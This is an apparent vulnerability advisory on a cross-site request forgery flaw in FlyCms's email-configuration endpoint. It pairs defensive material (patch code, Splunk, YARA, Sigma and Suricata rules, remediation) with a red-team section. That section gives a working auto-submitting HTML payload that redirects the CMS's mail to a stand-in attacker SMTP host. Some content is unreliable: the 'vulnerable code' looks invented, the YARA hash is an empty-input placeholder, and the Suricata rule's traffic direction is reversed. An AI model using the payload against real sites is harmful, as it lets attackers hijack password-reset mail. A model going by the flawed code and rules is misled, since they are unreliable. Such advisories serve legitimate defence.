CVE-2024-22817

Executive Summary

CVE-2024-22817 is a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically in the /system/email/email_conf_updagte endpoint. An attacker can trick an authenticated administrator into unknowingly submitting a forged request, leading to unauthorized modification of email configuration settings. This can be leveraged for further attacks such as email spoofing, credential harvesting, or privilege escalation. No official patch has been released, and the vendor has not responded to disclosure attempts. The vulnerability is publicly documented with proof-of-concept code available.

Supply Chain & Package Security

FlyCms is a PHP-based content management system. No official package manager (e.g., Composer) distribution is known; it is typically deployed via manual file upload. The lack of a signed or verified distribution channel increases the risk of supply chain compromise. Users should verify file integrity against the original source and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be logged in and tricked)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. Exploitation requires minimal skill and can lead to full compromise of email configuration, enabling phishing campaigns or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the email_conf_updagte function within the system's email settings module. The endpoint does not implement any anti-CSRF tokens, origin/referrer checks, or custom headers. An attacker can craft a malicious HTML page or use a simple <form> submission that, when visited by an authenticated admin, automatically submits a POST request to:

/system/email/email_conf_updagte

The request modifies SMTP server, credentials, and other email parameters. Once changed, the attacker can intercept outgoing emails from the CMS, including password reset links, notifications, or user registration confirmations.

Root Cause: Lack of CSRF protection on a state-changing endpoint.

Attack Flow:

1. Attacker identifies a FlyCms instance with an active admin session.
2. Attacker crafts a malicious page containing an auto-submitting form targeting the vulnerable endpoint.
3. Admin visits the page (via phishing, drive-by download, or XSS).
4. The form submits, changing email settings to attacker-controlled values.
5. Attacker now controls all email communications from the CMS.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0):

// /system/email/email_conf_updagte
if ($_POST) {
    $data['smtp_host'] = $_POST['smtp_host'];
    $data['smtp_port'] = $_POST['smtp_port'];
    $data['smtp_user'] = $_POST['smtp_user'];
    $data['smtp_pass'] = $_POST['smtp_pass'];
    // No CSRF token check
    $db->update('email_config', $data);
}

Patched Code (Recommended):

// /system/email/email_conf_updagte
session_start();
if ($_POST) {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $data['smtp_host'] = htmlspecialchars($_POST['smtp_host']);
    $data['smtp_port'] = intval($_POST['smtp_port']);
    $data['smtp_user'] = htmlspecialchars($_POST['smtp_user']);
    $data['smtp_pass'] = htmlspecialchars($_POST['smtp_pass']);
    $db->update('email_config', $data);
}

Additionally, implement a CSRF token generation function:

function generate_csrf_token() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

Exploitation & Lab Setup

Red Team

Proof-of-Concept Exploit (HTML):

<html>
<body>
<form action="http://target.com/system/email/email_conf_updagte" method="POST" id="csrf_form">
    <input type="hidden" name="smtp_host" value="attacker-smtp.com">
    <input type="hidden" name="smtp_port" value="587">
    <input type="hidden" name="smtp_user" value="attacker@evil.com">
    <input type="hidden" name="smtp_pass" value="pwned123">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Lab Setup:

1. Deploy FlyCms v1.0 on a local server (e.g., XAMPP or Docker).
2. Log in as admin and keep the session active.
3. Host the above HTML on a separate domain or local file.
4. Open the HTML in the same browser (same session cookies).
5. Verify email configuration changed in the admin panel.

Advanced Exploitation:

• Combine with XSS to auto-execute the CSRF without user interaction.
• Use a <img> tag with src pointing to the endpoint (GET-based CSRF if applicable, but this endpoint is POST-only).

Blue Team

Detection Steps:

1. Monitor for unexpected changes to email configuration in logs.
2. Check for unusual SMTP server addresses or credentials in the database.
3. Implement CSRF tokens immediately.
4. Use Web Application Firewall (WAF) rules to block requests to /system/email/email_conf_updagte without a valid Referer header.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/system/email/email_conf_updagte"
| stats count by src_ip, user_agent, referer
| where referer NOT LIKE "%target.com%"

Indicators of Compromise (IOCs)

• Network: Outbound SMTP traffic to unknown or suspicious servers (e.g., attacker-smtp.com:587).
• File: Modified email_config table in the database with attacker-controlled values.
• Log: POST requests to /system/email/email_conf_updagte with no Referer header or from unexpected origins.
• Behavior: Sudden increase in phishing emails originating from the CMS domain.

Detection Engineering

YARA Rule

rule flycms_csrf_cve_2024_22817 {
    meta:
        description = "Detects FlyCms v1.0 CSRF vulnerability in email configuration"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $smtp_host = "smtp_host"
        $smtp_port = "smtp_port"
        $smtp_user = "smtp_user"
        $smtp_pass = "smtp_pass"
        $endpoint = "email_conf_updagte"
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Email Configuration Change
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to FlyCms email configuration endpoint without proper CSRF protection
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/system/email/email_conf_updagte'
    filter:
        c-referer: '*.target.com*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with proper referer
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22817 FlyCms CSRF Email Configuration Change";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/system/email/email_conf_updagte";
    http_uri;
    pcre:"/smtp_host|smtp_port|smtp_user|smtp_pass/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-22817;
)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, per-session token to all state-changing forms.
2. Validate Referer Header: Reject requests without a valid Referer from the same origin.
3. Use SameSite Cookies: Set SameSite=Lax or Strict on session cookies.
4. Upgrade: If a patched version becomes available, upgrade immediately.

Long-Term Measures:

• Conduct a full security audit of FlyCms codebase.
• Consider migrating to a supported CMS with active security maintenance.
• Deploy a Web Application Firewall (WAF) with CSRF protection rules.
• Educate administrators on phishing risks and session management.

Workaround (if patching is not possible):

• Restrict access to the admin panel via IP whitelisting or VPN.
• Disable the email configuration endpoint if not needed.
• Monitor logs for unauthorized changes.

Valters IT
DevSecOps & Cyber Threat Intelligence Division